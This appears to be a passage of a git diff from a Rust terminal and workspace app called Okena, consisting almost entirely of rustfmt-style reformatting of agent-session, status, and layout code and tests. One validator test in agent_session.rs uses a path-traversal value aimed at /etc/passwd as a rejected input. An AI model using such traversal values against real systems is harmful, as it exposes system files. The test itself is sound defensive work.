         assert!(ws.agent_session("project", "terminal").is_some());
-        (ws, Arc::new(Default::default()), RecordingBackend::default())
+        (
+            ws,
+            Arc::new(Default::default()),
+            RecordingBackend::default(),
+        )
     }
 
     #[test]
diff --git a/crates/okena-app-core/src/workspace/actions/execute/session.rs b/crates/okena-app-core/src/workspace/actions/execute/session.rs
index 3aa03b0ff..5a24191d0 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/session.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/session.rs
@@ -162,10 +162,7 @@ fn prepare_layout_terminals(
         Vec<usize>,
         okena_core::agent_session::AgentSession,
     >,
-    agent_sessions: &mut std::collections::HashMap<
-        String,
-        okena_core::agent_session::AgentSession,
-    >,
+    agent_sessions: &mut std::collections::HashMap<String, okena_core::agent_session::AgentSession>,
     path: &mut Vec<usize>,
     launches: &mut Vec<PreparedTerminalLaunch>,
 ) {
diff --git a/crates/okena-app/src/app/notifications.rs b/crates/okena-app/src/app/notifications.rs
index 9b36a5dbe..84f2f9604 100644
--- a/crates/okena-app/src/app/notifications.rs
+++ b/crates/okena-app/src/app/notifications.rs
@@ -398,5 +398,4 @@ impl Okena {
             },
         }
     }
-
 }
diff --git a/crates/okena-core/src/agent_harness.rs b/crates/okena-core/src/agent_harness.rs
index 85c82061f..5a05b1da9 100644
--- a/crates/okena-core/src/agent_harness.rs
+++ b/crates/okena-core/src/agent_harness.rs
@@ -130,7 +130,10 @@ fn is_shell_neutral(arg: &str) -> bool {
 /// [shell-neutral](is_shell_neutral). Refusing beats quoting: the caller splices
 /// this into a shell command line, and a resume that silently doesn't happen is
 /// strictly better than one that mis-parses.
-pub fn resume_command_line(session: &crate::agent_session::AgentSession, cwd: &Path) -> Option<String> {
+pub fn resume_command_line(
+    session: &crate::agent_session::AgentSession,
+    cwd: &Path,
+) -> Option<String> {
     if !session.is_valid() {
         log::warn!(
             "agent-resume: refusing malformed session for agent {:?}",
diff --git a/crates/okena-core/src/agent_session.rs b/crates/okena-core/src/agent_session.rs
index 4da3c95eb..5780989b0 100644
--- a/crates/okena-core/src/agent_session.rs
+++ b/crates/okena-core/src/agent_session.rs
@@ -185,8 +185,9 @@ mod tests {
 
     #[test]
     fn from_labels_requires_agent_and_valid_uuid() {
-        let s = AgentSession::from_labels(&labels(&[("agent", "claude-code"), ("session_id", UUID)]))
-            .expect("session");
+        let s =
+            AgentSession::from_labels(&labels(&[("agent", "claude-code"), ("session_id", UUID)]))
+                .expect("session");
         assert_eq!(s.agent, "claude-code");
         assert_eq!(s.session_id, UUID);
         assert_eq!(s.transcript_path, None);
@@ -244,7 +245,11 @@ mod tests {
         // An unusable transcript path is dropped, but the session survives —
         // resume needs only `agent` + `session_id`.
         let long_path = abs(&"p".repeat(MAX_TRANSCRIPT_PATH_LEN));
-        for bad in [long_path.as_str(), "relative/x.jsonl", &abs("a/../../etc/passwd")] {
+        for bad in [
+            long_path.as_str(),
+            "relative/x.jsonl",
+            &abs("a/../../etc/passwd"),
+        ] {
             let s = AgentSession::from_labels(&labels(&[
                 ("agent", "claude-code"),
                 ("session_id", UUID),
diff --git a/crates/okena-core/src/agent_status.rs b/crates/okena-core/src/agent_status.rs
index 959f80c5d..9c41dfb9e 100644
--- a/crates/okena-core/src/agent_status.rs
+++ b/crates/okena-core/src/agent_status.rs
@@ -263,7 +263,10 @@ mod tests {
         assert_eq!(display_snippet("running tests 3/5"), "running tests 3/5");
         // Newlines and control characters must not reach a tooltip.
         assert_eq!(display_snippet("a\n\nb\tc\r\nd"), "a b c d");
-        assert_eq!(display_snippet("  leading and trailing  "), "leading and trailing");
+        assert_eq!(
+            display_snippet("  leading and trailing  "),
+            "leading and trailing"
+        );
         // A 4 KiB single line is within `MAX_CUSTOM_LEN` but must still clip.
         let long = "x".repeat(4096);
         let clipped = display_snippet(&long);
diff --git a/crates/okena-daemon-core/src/pty_loop.rs b/crates/okena-daemon-core/src/pty_loop.rs
index 374fe54a9..2f009b9a8 100644
--- a/crates/okena-daemon-core/src/pty_loop.rs
+++ b/crates/okena-daemon-core/src/pty_loop.rs
@@ -532,7 +532,12 @@ fn persist_agent_sessions(
         for (terminal_id, session) in captured {
             match workspace.find_project_id_owning_terminal(&terminal_id) {
                 Some(project_id) => {
-                    workspace.set_agent_session(&project_id, &terminal_id, session.clone(), &mut cx);
+                    workspace.set_agent_session(
+                        &project_id,
+                        &terminal_id,
+                        session.clone(),
+                        &mut cx,
+                    );
                     persisted.push((terminal_id, session));
                 }
                 None => log::debug!(
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index 23764dd85..8768862c8 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1587,7 +1587,9 @@ fn test_agent_session_survives_label_flood() {
     let lbl = b64(&format!("{{{}}}", fields.join(",")));
     terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
 
-    let session = terminal.agent_session().expect("session survives the flood");
+    let session = terminal
+        .agent_session()
+        .expect("session survives the flood");
     assert_eq!(session.session_id, uuid);
     // The displayed labels stay bounded regardless.
     let status = terminal.agent_status().expect("status");
@@ -1774,7 +1776,10 @@ fn test_agent_status_strips_reserved_session_keys_from_labels() {
             status.labels
         );
     }
-    assert_eq!(status.labels.get("branch").map(String::as_str), Some("main"));
+    assert_eq!(
+        status.labels.get("branch").map(String::as_str),
+        Some("main")
+    );
 
     // ...but the session itself still captured them.
     let session = terminal.agent_session().expect("session");
@@ -1796,9 +1801,7 @@ fn test_agent_session_rejects_unbounded_agent_and_transcript_path() {
     // an unbounded value would be rewritten into workspace.json on every save.
     let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
     let huge = "a".repeat(okena_core::agent_session::MAX_AGENT_ID_LEN + 1);
-    let lbl = b64(&format!(
-        r#"{{"agent":"{huge}","session_id":"{uuid}"}}"#
-    ));
+    let lbl = b64(&format!(r#"{{"agent":"{huge}","session_id":"{uuid}"}}"#));
     terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
     assert_eq!(terminal.agent_session(), None);
 
@@ -1811,7 +1814,9 @@ fn test_agent_session_rejects_unbounded_agent_and_transcript_path() {
         r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"{long_path}"}}"#
     ));
     terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
-    let session = terminal.agent_session().expect("session survives a bad path");
+    let session = terminal
+        .agent_session()
+        .expect("session survives a bad path");
     assert_eq!(session.transcript_path, None);
 }
 
@@ -1876,7 +1881,10 @@ fn test_agent_status_valid_base64_of_invalid_utf8_drops_the_field() {
     terminal.process_output(format!("\x1b]9001;st=done;msg={bad}\x07").as_bytes());
 
     let status = terminal.agent_status().expect("lifecycle still applied");
-    assert_eq!(status.lifecycle, okena_core::agent_status::AgentLifecycle::Done);
+    assert_eq!(
+        status.lifecycle,
+        okena_core::agent_status::AgentLifecycle::Done
+    );
     assert_eq!(status.custom, None);
     assert_eq!(
         terminal.take_pending_notifications(),
diff --git a/crates/okena-workspace/src/actions/focus.rs b/crates/okena-workspace/src/actions/focus.rs
index 7626774c4..924975068 100644
--- a/crates/okena-workspace/src/actions/focus.rs
+++ b/crates/okena-workspace/src/actions/focus.rs
@@ -450,9 +450,7 @@ mod gpui_tests {
 mod jump_gpui_tests {
     use crate::focus::FocusManager;
     use crate::settings::HooksConfig;
-    use crate::state::{
-        LayoutNode, ProjectData, WindowId, WindowState, Workspace, WorkspaceData,
-    };
+    use crate::state::{LayoutNode, ProjectData, WindowId, WindowState, Workspace, WorkspaceData};
     use gpui::AppContext as _;
     use okena_core::theme::FolderColor;
     use okena_terminal::shell_config::ShellType;
diff --git a/crates/okena-workspace/src/actions/layout/tests_gpui.rs b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
index 9b119bcf2..1b8443bb8 100644
--- a/crates/okena-workspace/src/actions/layout/tests_gpui.rs
+++ b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
@@ -1433,24 +1433,20 @@ fn close_other_tabs_drops_the_agent_sessions_of_the_panes_it_removed(
     let data = make_workspace_data(vec![project], vec!["p1"]);
     let workspace = cx.new(|_cx| Workspace::new(data));
 
-    workspace.update(cx, |ws: &mut Workspace, cx| ws.close_other_tabs("p1", &[], 0, cx));
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        ws.close_other_tabs("p1", &[], 0, cx)
+    });
 
     workspace.read_with(cx, |ws: &Workspace, _cx| {
         let project = ws.project("p1").expect("project");
-        let mut kept: Vec<&str> = project
-            .agent_sessions
-            .keys()
-            .map(String::as_str)
-            .collect();
+        let mut kept: Vec<&str> = project.agent_sessions.keys().map(String::as_str).collect();
         kept.sort_unstable();
         assert_eq!(kept, vec!["t1"], "only the surviving pane keeps a session");
     });
 }
 
 #[gpui::test]
-fn moving_a_pane_out_spares_a_sibling_inside_its_soft_close_window(
-    cx: &mut gpui::TestAppContext,
-) {
+fn moving_a_pane_out_spares_a_sibling_inside_its_soft_close_window(cx: &mut gpui::TestAppContext) {
     // A soft-closed pane is out of the layout while its PTY and metadata are
     // deliberately kept alive for the undo. The source-side prune after a
     // cross-project move is keyed on "is it in the layout", so moving ANY other
diff --git a/crates/okena-workspace/src/remote_apply.rs b/crates/okena-workspace/src/remote_apply.rs
index b6cfde676..098b54553 100644
--- a/crates/okena-workspace/src/remote_apply.rs
+++ b/crates/okena-workspace/src/remote_apply.rs
@@ -1271,7 +1271,11 @@ mod tests {
             .insert("t1".to_string(), working("running tests"));
         let snap = RemoteSnapshot {
             config: config("c1"),
-            state: Some(state_with(vec![project], vec!["p1".to_string()], Vec::new())),
+            state: Some(state_with(
+                vec![project],
+                vec!["p1".to_string()],
+                Vec::new(),
+            )),
         };
 
         let statuses = snapshot_agent_statuses(&[snap]);